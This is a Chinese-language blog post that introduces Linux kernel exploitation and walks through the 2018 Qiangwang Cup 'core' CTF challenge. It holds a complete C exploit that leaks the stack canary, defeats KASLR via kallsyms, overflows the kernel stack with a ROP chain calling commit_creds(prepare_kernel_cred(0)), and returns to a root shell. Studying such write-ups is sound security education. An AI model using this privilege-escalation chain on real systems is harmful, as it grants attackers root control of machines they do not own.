编辑
2023-03-08
Kernel Pwn
00
请注意,本文编写于 624 天前,最后修改于 624 天前,其中某些信息可能已经过时。

目录

基础知识
内核基础知识
Ring Model
Syscall
状态转换 [用户态->内核态]
状态转换 [内核态->用户态]
cred结构体
task_struct结构体
两个重要函数
kallsyms
内核的保护措施
目标
第一道Kernel Pwn!
文件分析
漏洞分析
exp编写

这名字我熟

基础知识

内核基础知识

Kernel实际上还是一段应用程序 主要是用来提供对用户态软件的一系列服务 比如IO之类的 将这些外部软件的要求转移成为指令 交给CPU或者其他硬件处理 其实这些就是计算机操作系统中对操作系统功能的描述而已

这里借用一下CTFWiki中对内核在计算机体系中的架构图可以更清楚的展现Kernel的地位

Ring Model

Intel x86系列的CPU使用Ring的概念来实现访问控制 在理论上总共有四个等级 从高到低分别为Ring0 ->Ring1->Ring2->Ring3 但其实在现在的Windows和Linux系统中仅仅使用到了Ring0Ring3两个等级 其中Ring0就是对应着我们在计算机操作系统中学到的内核态 而相反的Ring3则理所当然的对应用户态 一般来说操作系统内核程序和驱动程序都是在Ring0等级上运行 而用户程序都是在Ring3上运行

Syscall

这个打Pwn的应该都很熟悉了 就是系统调用嘛 在操作系统层面就是内核对用户态某些需要的服务提供的内核态接口 例如write和read

状态转换 [用户态->内核态]

这里的状态转换主要说的是用户态跟内核态的相互转化 当发生系统调用 发生异常 外部中断的时候 会自动从用户态切换到内核态 这里具体的切换过程是

  1. 通过swapgs切换GS段存储器

这里的GS段存储器其实官方名称叫附加段寄存器 其地位和FS寄存器类似 这个FS寄存器就是存放Canary的地方 但是FS寄存器是在用户态下使用的附加段寄存器 而GS段寄存器是在内核态下使用的附加段寄存器

在内存中有一个特定的位置(其实叫做GS.BASE 但是并没有什么用) 当执行到swapgs时 将该地址的值置换到GS寄存器中 同时将GS寄存器的值存放到该位置中 其目的是保存GS值

  1. 置换用户态栈空间和内核态栈空间

将用户栈指针保存到CPU独占变量区域中 然后将CPU独占区域中内核态的栈指针放入到rsp rbp中

  1. 保存现场

主要是保存各个寄存器的值

  1. 通过汇编指令判断是否为x32_abi

X32_abi是一种新的二进制调用规范 感觉想法很天才

具体来说在64位处理器上 所有指针都应该是64位的 但是有些程序只需要小于4G的内存 按理来说32位的指针就能满足要求了 虽然从内存角度来说 这些浪费不足为提 但是从Cache层面来说 这些浪费就有些可耻了 所以x32_abi就提出了一种新的二进制调用规范 将所有的64位指针改成32位

当然 这些知识在Pwn领域没啥大用

  1. 通过系统调用号根据系统调用表 跳转到对应位置进行系统调用

状态转换 [内核态->用户态]

  1. 通过swapgs恢复GS寄存器的值
  2. 通过sysretq或者iretq恢复到用户态继续执行 如果使用iretq还需要给出用户空间的一些信息(CS eflags/rflags esp/rsp 等)

cred结构体

内核使用cred结构体来管理进程相关的权限问题 例如uid gid等 结构体定义与include/linux/cred.h

c
struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */ #ifdef CONFIG_KEYS unsigned char jit_keyring; /* default keyring to attach requested * keys to */ struct key *session_keyring; /* keyring inherited over fork */ struct key *process_keyring; /* keyring private to this process */ struct key *thread_keyring; /* keyring private to this thread */ struct key *request_key_auth; /* assumed request_key authority */ #endif #ifdef CONFIG_SECURITY void *security; /* subjective LSM security */ #endif struct user_struct *user; /* real user ID subscription */ struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ struct group_info *group_info; /* supplementary groups for euid/fsgid */ /* RCU deletion */ union { int non_rcu; /* Can we skip RCU deletion? */ struct rcu_head rcu; /* RCU deletion hook */ }; } __randomize_layout;

task_struct结构体

内核中使用结构体task_struct来描述一个进程(其实就是操作系统中的PCB) 该结构体定义域include/linux/sched.h

内部主要定义了包括进程标识[pid] 进程状态[就绪 阻塞 执行] 进程优先级 进程调度信息 时间信息 地址信息 页面管理信息 信号量等多种与进程息息相关的数据结构 (操作系统中提到的基本都有)

c
struct task_struct { #ifdef CONFIG_THREAD_INFO_IN_TASK /* * For reasons of header soup (see current_thread_info()), this * must be the first element of task_struct. */ struct thread_info thread_info; .... /* Process credentials: */ /* Tracer's credentials at attach: */ const struct cred __rcu *ptracer_cred; /* Objective and real subjective task credentials (COW): */ const struct cred __rcu *real_cred; /* Effective (overridable) subjective task credentials (COW): */ const struct cred __rcu *cred; ... }

这里盗一张网上师傅们的一图流task_struct结构体解析

这些都不是最关键的 最关键的是在task_struct结构体中包含cred结构体指针 那么其实联系起来一个很直接的念头就是只要能修改一个进程的cred结构体就能修改进程的执行权限

两个重要函数

关于cred结构体在内核中存在两个及其重要的函数 prepare_kernel_cred()commit_creds() 这两个函数定义在kernel/cred.c

c
/** * prepare_kernel_cred - Prepare a set of credentials for a kernel service * @daemon: A userspace daemon to be used as a reference * * Prepare a set of credentials for a kernel service. This can then be used to * override a task's own credentials so that work can be done on behalf of that * task that requires a different subjective context. * * @daemon is used to provide a base for the security record, but can be NULL. * If @daemon is supplied, then the security data will be derived from that; * otherwise they'll be set to 0 and no groups, full capabilities and no keys. * * The caller may change these controls afterwards if desired. * * Returns the new credentials or NULL if out of memory. */ struct cred *prepare_kernel_cred(struct task_struct *daemon) { const struct cred *old; struct cred *new; new = kmem_cache_alloc(cred_jar, GFP_KERNEL); if (!new) return NULL; kdebug("prepare_kernel_cred() alloc %p", new); if (daemon) old = get_task_cred(daemon); else old = get_cred(&init_cred); validate_creds(old); *new = *old; new->non_rcu = 0; atomic_set(&new->usage, 1); set_cred_subscribers(new, 0); get_uid(new->user); get_user_ns(new->user_ns); get_group_info(new->group_info); #ifdef CONFIG_KEYS new->session_keyring = NULL; new->process_keyring = NULL; new->thread_keyring = NULL; new->request_key_auth = NULL; new->jit_keyring = KEY_REQKEY_DEFL_THREAD_KEYRING; #endif #ifdef CONFIG_SECURITY new->security = NULL; #endif if (security_prepare_creds(new, old, GFP_KERNEL_ACCOUNT) < 0) goto error; put_cred(old); validate_creds(new); return new; error: put_cred(new); put_cred(old); return NULL; } EXPORT_SYMBOL(prepare_kernel_cred);

其实简单来说就是prepare_kernel_cred()会有两种情况 如果调用时传入一个有效的task_struct结构体地址 那么会根据这个task_structread_cred作为模板来复制一个新的cred

如果传入NULL的话会返回一个root权限的cred

commit_creds(struct cred *new)的话 很简单 看名字也就知道 就是将cred提交 以应用到进程中

kallsyms

可以简单理解为保存着内核中所有的函数名称及其地址 类似于GOT表的感觉 只不过是个文本文件

内核的保护措施

  1. KASLR

和用户态的ASLR类似 地址随机化

  1. FGKALSR

KASLR的升级版 KASLR还有绕过的可能 毕竟只要泄漏基地址就可以获得所有指令地址 而FGKALSR是根据函数粒度重新排布内核代码

  1. STACK PROTECTOR

类似Canary 内核中的Canary的值一般是取GS寄存器某固定偏移的值

  1. SMAP/SMEP

SMAP(Supervise Mode Access Prevention) SMEP(Supervise Mode Execution Prevention)这两种保护一般同时开启 防止内核空间直接访问和执行用户空间的数据 将内核和用户分隔开 防止内核直接跳转到用户空间的提权代码上

  1. kptr_restrict

通常出现在虚拟机的init脚本中 echo 1 > /proc/sys/kernel/kptr_restrict 限制/proc/kallsyms显示symbols地址

  1. dmesg_restrict

同样常见于虚拟机的init脚本中 echo 1 > /proc/sys/kernel/dmesg_restrict 显示非root用户不能读取dmesg信息

目标

Kernel Pwn和用户态的Pwn不一样 用户态的Pwn其主要目的主要是获得shell来获得目标靶机的基础控制权 而Kernel Pwn主要目的是在shell的基础上进行提权 拿到root权限以获得最高控制权 当然Kernel Pwn也可以让内核崩溃 造成服务宕机 但是一般不会这样做

而根据上面的基础知识 提权的路径也就很明确了 我们可以在内核态内调用commit_creds(prepare_kernel_cred(NULL))以达到提权的目的

第一道Kernel Pwn!

文件分析

这里选用资源最多的Kernel Pwn题2018年强网杯core

如果下载的题目比较干净的话应该是 解压后 存在bzImage start.sh core文件夹三个文件 我们一个个来看

首先bzImage不用解释了 压缩过后的内核

start.sh是qemu虚拟机的启动脚本 我们打开看一下

sh
qemu-system-x86_64 \ -m 256M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -gdb tcp::1234 -S \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \

可以看到 是启用了kaslr保护的 也就是说我们需要泄漏地址

core文件夹内主要就是文件系统了 其中gen_cpio.sh可以帮助我们快速构建文件系统 在文件夹中最重要的是init脚本 虽然他长着一副二进制文件的脸 但其实只是一个sh脚本

sh
#!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko poweroff -d 120 -f & setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' umount /proc umount /sys poweroff -d 0 -f

可以注意到其中有几句是非常关键的

cat /proc/kallsyms > /tmp/kallsyms 我们看到在init脚本中是启用了kptr_restrict的 所以我们拿不到函数地址 但是init将其输出到/tmp文件夹中 那么这个限制也就没啥用了

insmod /core.ko 加载了core.ko内核模块 那么我们主要就是要看看这个模块都写了哪些功能 一般漏洞都在模块中

顺带着看看core.ko的保护情况吧

漏洞分析

那么我们着重来看一看这个core.ko里面都写了什么功能 直接拖进IDA即可

可以看到函数表非常干净 主要我们要看的就是init_modulecore_ioctl了 毕竟这两个函数关系到模块初始化和交互

如果想的话 也可以看看模块的fops结构体(file_operations) 但是感觉没有什么必要 毕竟函数就这么多 从函数名也能看出来是自定义了writerelease

其中init_module没有说什么 只是新建了一个进程叫做core

ioctl实现了不少功能

首先是控制代码0x6677889B 函数core_read() 实现了从v5+off处读取64字节的数据 然后传送给用户

其次是控制代码0x6677889C 将全局变量off设置成为v3 而这个v3core_ioctl传入的参数 是我们可控的

最后是控制代码0x6677889A 函数core_copy_func实现了从name复制a1数量的字节到v2

再来看看自定义的core_write 实现了将小于0x800数量的字节写入到name之中

那么思路到现在就已经很明显了 因为模块有Canary保护 所以我们需要泄漏Canary 那么我们可以先设置off的值使v5+off指向Canary的位置上 然后通过core_read()将Canary的值读出

然后利用自定义的core_write()name中写入ROP链 然后通过core_copy_func()name复制到栈中造成栈溢出 最后实现提权操作

那么此时还有一个问题 就是内核存在地址随机化 我们要获得基地址才能利用上gadget 但是别忘了我们是有kallsyms的...直接读取函数地址 减去偏移就好了

exp编写

那么问题我们一个个解决 首先是几个功能的交互

c
void core_read(int fd,char *addr) { puts("core_read...\n"); ioctl(fd,0x6677889B,addr); puts("success...\n"); } void set_off(int fd,long long off) { puts("set off...\n"); ioctl(fd,0x6677889C,off); puts("success...\n"); } void core_copy_func(int fd,long long nbytes) { puts("core_copy_func...\n"); ioctl(fd,0x6677889A,nbytes); puts("success...\n"); }

并且模块是在内核态 而我们最后是需要返回到用户态开shell的 所以关于内核态向用户态的切换 我们也需要自己保存现场 到时候恢复

c
void saveStatus() { __asm__("mov user_cs,cs;" "mov user_ss,ss;" "mov user_sp,rsp;" "pushf;" "pop user_rflags;" ); puts("Status has been saved...\n"); } void spawn_shell() { system("/bin/sh"); exit(0); }

然后就是最为重要的读取kallsyms来获取基地址绕过地址随机化了 因为每次虚拟机启动地址都会变动 所以我们没有办法手动输入地址(虚拟机内部没有gcc 所有的exp需要在外部编译好打包的文件系统中) 只能通过c来自动获取地址并且减去偏移以获得基地址 同时我们也需要在kallsyms中获取到我们两个重要函数prepare_kernel_cred()和commit_creds()的地址

c
void get_function_addr() { FILE* sym_table=fopen("/tmp/kallsyms","r"); if(sym_table==NULL) { puts("cannot open /tmp/kallsyms"); exit("-1"); } size_t addr=0; char type[0x10]; char function_name[0x50]; while(fscanf(sym_table,"%llx%s%s",&addr,type,function_name)) { if(commit_creds&&prepare_kernel_cred) { puts("addr of prepare_kernel_cred and commit_creds has found"); return; } if(!strcmp(function_name,"commit_creds")) { commit_creds=addr; printf("commit_creds: %p-%p\n",addr,commit_creds); } else if(!strcmp(function_name,"prepare_kernel_cred")) { prepare_kernel_cred=addr; printf("prepare_kernel_cred: %p-%p\n",addr,prepare_kernel_cred); } } }

那么接下来就是获取相关的gadget了 这里有两种方法 一种是直接objdumpvmlinux中所有的汇编指令都dump下来然后自己慢慢找 或者是使用ropper来找 反正尽量不要用ROPgadget来找 我是直接爆内存

c
size_t pop_rdi=0xffffffff81000b2f; size_t mov_rdi_rax_pop_rbp_pop_r12_ret=0xffffffff813f9ede; size_t swapgs_popfq_ret=0xffffffff81a012da; size_t iretq_ret=0xffffffff81050ac2;

最后组合exp即可

c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <ctype.h> #include <sys/types.h> #include <sys/ioctl.h> // gcc exp.c -o exp -static -masm=intel -g size_t commit_creds; size_t prepare_kernel_cred; size_t user_cs,user_ss,user_rflags,user_sp; void saveStatus() { __asm__("mov user_cs,cs;" "mov user_ss,ss;" "mov user_sp,rsp;" "pushf;" "pop user_rflags;" ); puts("Status has been saved...\n"); } void core_read(int fd,char *addr) { puts("core_read...\n"); ioctl(fd,0x6677889B,addr); puts("success...\n"); } void set_off(int fd,long long off) { puts("set off...\n"); ioctl(fd,0x6677889C,off); puts("success...\n"); } void core_copy_func(int fd,long long nbytes) { puts("core_copy_func...\n"); ioctl(fd,0x6677889A,nbytes); puts("success...\n"); } void spawn_shell() { system("/bin/sh"); exit(0); } void get_function_addr() { FILE* sym_table=fopen("/tmp/kallsyms","r"); if(sym_table==NULL) { puts("cannot open /tmp/kallsyms"); exit("-1"); } size_t addr=0; char type[0x10]; char function_name[0x50]; while(fscanf(sym_table,"%llx%s%s",&addr,type,function_name)) { if(commit_creds&&prepare_kernel_cred) { puts("addr of prepare_kernel_cred and commit_creds has found"); return; } if(!strcmp(function_name,"commit_creds")) { commit_creds=addr; printf("commit_creds: %p-%p\n",addr,commit_creds); } else if(!strcmp(function_name,"prepare_kernel_cred")) { prepare_kernel_cred=addr; printf("prepare_kernel_cred: %p-%p\n",addr,prepare_kernel_cred); } } } int main() { size_t pop_rdi=0xffffffff81000b2f; size_t mov_rdi_rax_pop_rbp_pop_r12_ret=0xffffffff813f9ede; size_t swapgs_popfq_ret=0xffffffff81a012da; size_t iretq_ret=0xffffffff81050ac2; saveStatus(); int fd=open("/proc/core",2); if(!fd) { puts("error...\n"); return -1; } char buffer[100]={0}; size_t canary; set_off(fd,0x40); core_read(fd,buffer); canary=((size_t *)buffer)[0]; printf("canary: %p\n",canary); get_function_addr(); size_t vm_base=commit_creds-0x9c8e0; ssize_t gadget_base=vm_base-0xffffffff81000000; size_t rop[0x1000]={0}; printf("vm_base: %p\n",vm_base); printf("spawn_shell: %p\n",spawn_shell); int i; for(i=0;i<10;i++) { rop[i]=canary; } rop[i++]=pop_rdi+gadget_base; rop[i++]=0; rop[i++]=prepare_kernel_cred; rop[i++]=mov_rdi_rax_pop_rbp_pop_r12_ret+gadget_base; rop[i++]=0; rop[i++]=0; rop[i++]=commit_creds; rop[i++]=swapgs_popfq_ret+gadget_base; rop[i++]=0; rop[i++]=iretq_ret+gadget_base; rop[i++]=(size_t)spawn_shell; rop[i++]=user_cs; rop[i++]=user_rflags; rop[i++]=user_sp; rop[i++]=user_ss; write(fd,rop,0x800); core_copy_func(fd,0xffffffffffff0000 | (0x100)); }

最后就是通过gcc exp.c -o exp -static -masm=intel -g编译exp 然后使用gen_core.sh来打包文件系统 再使用start.sh启动虚拟机了

至此 提权成功

本文作者:Du4t

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!